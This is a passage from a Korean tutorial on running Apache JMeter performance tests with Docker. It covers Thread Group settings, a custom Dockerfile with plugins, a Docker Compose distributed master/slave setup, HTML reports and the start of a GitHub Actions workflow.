&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Test Plan (테스트 계획)
├── Thread Group (사용자 시뮬레이션)
│   ├── HTTP Request Defaults (공통 설정)
│   ├── HTTP Header Manager (헤더)
│   ├── HTTP Request — GET /api/users
│   │   ├── Response Assertion (응답 검증)
│   │   └── JSON Extractor (값 추출)
│   ├── HTTP Request — POST /api/users
│   └── Summary Report (결과 요약)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Thread Group 설정 — 부하 패턴 결정&lt;/h3&gt;
&lt;p&gt;Thread Group은 &lt;strong&gt;몇 명의 가상 사용자가, 얼마 동안, 어떤 패턴으로&lt;/strong&gt; 요청을 보낼지 결정합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;설정&lt;/th&gt;
&lt;th&gt;의미&lt;/th&gt;
&lt;th&gt;예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Number of Threads&lt;/td&gt;
&lt;td&gt;동시 사용자 수&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ramp-Up Period&lt;/td&gt;
&lt;td&gt;모든 사용자가 시작되기까지 걸리는 시간&lt;/td&gt;
&lt;td&gt;10초&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Duration&lt;/td&gt;
&lt;td&gt;테스트 총 시간&lt;/td&gt;
&lt;td&gt;60초&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;팁: 변수화하면 Docker에서 유연하게 사용할 수 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;xml&quot;&gt;&lt;pre class=&quot;language-xml&quot;&gt;&lt;code class=&quot;language-xml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;&amp;lt;!-- jmx 파일 내부 --&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;intProp&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;ThreadGroup.num_threads&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;${__P(threads,10)}&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;intProp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;stringProp&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;ThreadGroup.duration&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;${__P(duration,60)}&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;stringProp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이렇게 하면 Docker 실행 시 값을 주입할 수 있습니다:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; run &lt;span class=&quot;token parameter variable&quot;&gt;--rm&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;. qainsights/jmeter:5.6.3 &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-t&lt;/span&gt; /jmeter/tests/test-plan.jmx &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-Jthreads&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-Jduration&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;300&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;-Jthreads=100&lt;/code&gt;이 &lt;code class=&quot;language-text&quot;&gt;.jmx&lt;/code&gt; 내부의 &lt;code class=&quot;language-text&quot;&gt;${__P(threads,10)}&lt;/code&gt;을 100으로 오버라이드합니다. 기본값은 10이므로, 값을 안 넘기면 10명의 가상 사용자로 실행됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3단계: 커스텀 Docker 이미지 만들기&lt;/h2&gt;
&lt;p&gt;프로젝트에서 반복적으로 사용한다면, 플러그인과 설정을 포함한 커스텀 이미지를 만드는 게 편합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;dockerfile&quot;&gt;&lt;pre class=&quot;language-dockerfile&quot;&gt;&lt;code class=&quot;language-dockerfile&quot;&gt;&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; eclipse-temurin:17-jre-alpine&lt;/span&gt;

&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;ARG&lt;/span&gt; JMETER_VERSION=5.6.3&lt;/span&gt;
&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;ENV&lt;/span&gt; JMETER_HOME=/opt/apache-jmeter-&lt;span class=&quot;token variable&quot;&gt;${JMETER_VERSION}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;ENV&lt;/span&gt; PATH=&lt;span class=&quot;token variable&quot;&gt;${JMETER_HOME}&lt;/span&gt;/bin:&lt;span class=&quot;token variable&quot;&gt;${PATH}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;ENV&lt;/span&gt; HEAP=&lt;span class=&quot;token string&quot;&gt;&quot;-Xms1g -Xmx1g -XX:MaxMetaspaceSize=256m&quot;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# JMeter 설치&lt;/span&gt;
&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;RUN&lt;/span&gt; apk add --no-cache curl unzip bash &lt;span class=&quot;token operator&quot;&gt;\&lt;/span&gt;
    &amp;amp;&amp;amp; curl -L https://archive.apache.org/dist/jmeter/binaries/apache-jmeter-&lt;span class=&quot;token variable&quot;&gt;${JMETER_VERSION}&lt;/span&gt;.tgz &lt;span class=&quot;token operator&quot;&gt;\&lt;/span&gt;
       | tar xzf - -C /opt &lt;span class=&quot;token operator&quot;&gt;\&lt;/span&gt;
    &amp;amp;&amp;amp; rm -rf &lt;span class=&quot;token variable&quot;&gt;${JMETER_HOME}&lt;/span&gt;/docs &lt;span class=&quot;token variable&quot;&gt;${JMETER_HOME}&lt;/span&gt;/printable_docs&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 플러그인 매니저 설치&lt;/span&gt;
&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;RUN&lt;/span&gt; curl -L -o &lt;span class=&quot;token variable&quot;&gt;${JMETER_HOME}&lt;/span&gt;/lib/ext/jmeter-plugins-manager.jar &lt;span class=&quot;token operator&quot;&gt;\&lt;/span&gt;
    https://jmeter-plugins.org/get/ &lt;span class=&quot;token operator&quot;&gt;\&lt;/span&gt;
    &amp;amp;&amp;amp; curl -L -o &lt;span class=&quot;token variable&quot;&gt;${JMETER_HOME}&lt;/span&gt;/lib/cmdrunner-2.3.jar &lt;span class=&quot;token operator&quot;&gt;\&lt;/span&gt;
    https://repo1.maven.org/maven2/kg/apc/cmdrunner/2.3/cmdrunner-2.3.jar &lt;span class=&quot;token operator&quot;&gt;\&lt;/span&gt;
    &amp;amp;&amp;amp; java -cp &lt;span class=&quot;token variable&quot;&gt;${JMETER_HOME}&lt;/span&gt;/lib/ext/jmeter-plugins-manager.jar &lt;span class=&quot;token operator&quot;&gt;\&lt;/span&gt;
       org.jmeterplugins.repository.PluginManagerCMDInstaller&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 자주 쓰는 플러그인 설치&lt;/span&gt;
&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;RUN&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;${JMETER_HOME}&lt;/span&gt;/bin/PluginsManagerCMD.sh install &lt;span class=&quot;token operator&quot;&gt;\&lt;/span&gt;
    jpgc-casutg,jpgc-tst,jpgc-graphs-basic,jpgc-json,jpgc-perfmon&lt;/span&gt;

&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;WORKDIR&lt;/span&gt; /jmeter&lt;/span&gt;
&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;ENTRYPOINT&lt;/span&gt; [&lt;span class=&quot;token string&quot;&gt;&quot;jmeter&quot;&lt;/span&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 빌드&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; build &lt;span class=&quot;token parameter variable&quot;&gt;-t&lt;/span&gt; my-jmeter:5.6.3 &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 실행&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; run &lt;span class=&quot;token parameter variable&quot;&gt;--rm&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;/tests:/jmeter/tests &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;/results:/jmeter/results &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  my-jmeter:5.6.3 &lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-t&lt;/span&gt; /jmeter/tests/test-plan.jmx &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-l&lt;/span&gt; /jmeter/results/results.jtl &lt;span class=&quot;token parameter variable&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; /jmeter/results/html-report&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;포함한 플러그인 설명&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;플러그인&lt;/th&gt;
&lt;th&gt;용도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;jpgc-casutg&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;유연한 부하 패턴 (Stepping, Ultimate Thread Group)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;jpgc-tst&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;초당 요청수(TPS) 정밀 제어&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;jpgc-graphs-basic&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;응답 시간, TPS 그래프&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;jpgc-json&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;JSON 응답 추출·검증&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;jpgc-perfmon&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;서버 CPU/메모리/디스크 모니터링&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;4단계: Docker Compose로 분산 테스트&lt;/h2&gt;
&lt;p&gt;한 대의 컨테이너로는 충분한 부하를 만들기 어려울 수 있습니다. Docker Compose로 &lt;strong&gt;마스터 1대 + 슬레이브 N대&lt;/strong&gt; 구조를 쉽게 만들 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# docker-compose.yml&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;services&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;jmeter-slave-1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; qainsights/jmeter&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;5.6.3
    &lt;span class=&quot;token key atrule&quot;&gt;container_name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; jmeter&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;slave&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;entrypoint&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; jmeter&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;server
    &lt;span class=&quot;token key atrule&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;Jserver.rmi.ssl.disable=true
    &lt;span class=&quot;token key atrule&quot;&gt;expose&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;1099&quot;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;50000&quot;&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;networks&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; jmeter&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;net

  &lt;span class=&quot;token key atrule&quot;&gt;jmeter-slave-2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; qainsights/jmeter&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;5.6.3
    &lt;span class=&quot;token key atrule&quot;&gt;container_name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; jmeter&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;slave&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;entrypoint&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; jmeter&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;server
    &lt;span class=&quot;token key atrule&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;Jserver.rmi.ssl.disable=true
    &lt;span class=&quot;token key atrule&quot;&gt;expose&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;1099&quot;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;50000&quot;&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;networks&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; jmeter&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;net

  &lt;span class=&quot;token key atrule&quot;&gt;jmeter-master&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; qainsights/jmeter&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;5.6.3
    &lt;span class=&quot;token key atrule&quot;&gt;container_name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; jmeter&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;master
    &lt;span class=&quot;token key atrule&quot;&gt;volumes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; ./tests&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;/jmeter/tests
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; ./results&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;/jmeter/results
    &lt;span class=&quot;token key atrule&quot;&gt;environment&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; HEAP=&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;Xms1g &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;Xmx2g
    &lt;span class=&quot;token key atrule&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
      -n -t /jmeter/tests/test-plan.jmx
      -l /jmeter/results/results.jtl
      -e -o /jmeter/results/html-report
      -R jmeter-slave-1,jmeter-slave-2
      -Jserver.rmi.ssl.disable=true&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;depends_on&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; jmeter&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;slave&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; jmeter&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;slave&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;networks&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; jmeter&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;net

&lt;span class=&quot;token key atrule&quot;&gt;networks&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;jmeter-net&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; bridge&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 실행&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; compose up

&lt;span class=&quot;token comment&quot;&gt;# 슬레이브 5대로 스케일링&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; compose up &lt;span class=&quot;token parameter variable&quot;&gt;--scale&lt;/span&gt; jmeter-slave-1&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-d&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;분산 테스트 핵심 포인트&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;-R&lt;/code&gt; 옵션:&lt;/strong&gt; 슬레이브 호스트명을 쉼표로 구분하여 지정&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;-Jserver.rmi.ssl.disable=true&lt;/code&gt;:&lt;/strong&gt; Docker 내부 네트워크에서는 SSL 불필요&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;포트 1099, 50000:&lt;/strong&gt; RMI 통신에 필요한 포트&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;네트워크:&lt;/strong&gt; Docker 네트워크 안에서 서비스명으로 통신 (DNS 자동 해석)&lt;/li&gt;
&lt;li&gt;슬레이브에서 Thread 50개 설정 + 슬레이브 4대 = &lt;strong&gt;총 200명의 가상 사용자&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;5단계: HTML 리포트 확인하기&lt;/h2&gt;
&lt;p&gt;테스트가 끝나면 &lt;code class=&quot;language-text&quot;&gt;results/html-report/index.html&lt;/code&gt;을 브라우저로 열면 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 테스트 실행 후 결과 확인&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;open&lt;/span&gt; results/html-report/index.html    &lt;span class=&quot;token comment&quot;&gt;# macOS&lt;/span&gt;
start results/html-report/index.html   &lt;span class=&quot;token comment&quot;&gt;# Windows&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;HTML 리포트에 포함되는 주요 지표:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;지표&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;th&gt;기준 예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Average Response Time&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;평균 응답 시간&lt;/td&gt;
&lt;td&gt;&amp;#x3C; 200ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;90th Percentile&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;90%의 요청이 이 시간 이내&lt;/td&gt;
&lt;td&gt;&amp;#x3C; 500ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Error Rate&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;실패한 요청 비율&lt;/td&gt;
&lt;td&gt;&amp;#x3C; 1%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Throughput&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;초당 처리 요청 수 (TPS)&lt;/td&gt;
&lt;td&gt;목표에 따라 다름&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;기존 .jtl 파일에서 리포트 재생성&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; run &lt;span class=&quot;token parameter variable&quot;&gt;--rm&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;:/jmeter qainsights/jmeter:5.6.3 &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-g&lt;/span&gt; /jmeter/results/results.jtl &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; /jmeter/results/html-report-v2&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;-g&lt;/code&gt; 옵션으로 이미 생성된 &lt;code class=&quot;language-text&quot;&gt;.jtl&lt;/code&gt; 파일에서 리포트만 다시 만들 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6단계: CI/CD 파이프라인에 연동하기&lt;/h2&gt;
&lt;p&gt;Docker 기반이라 CI/CD 연동이 매우 간단합니다.&lt;/p&gt;
&lt;h3&gt;GitHub Actions 예시&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Performance Test

&lt;span class=&quot;token key atrule&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;workflow_dispatch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;inputs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;threads&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;동시 사용자 수&quot;&lt;/span&gt;
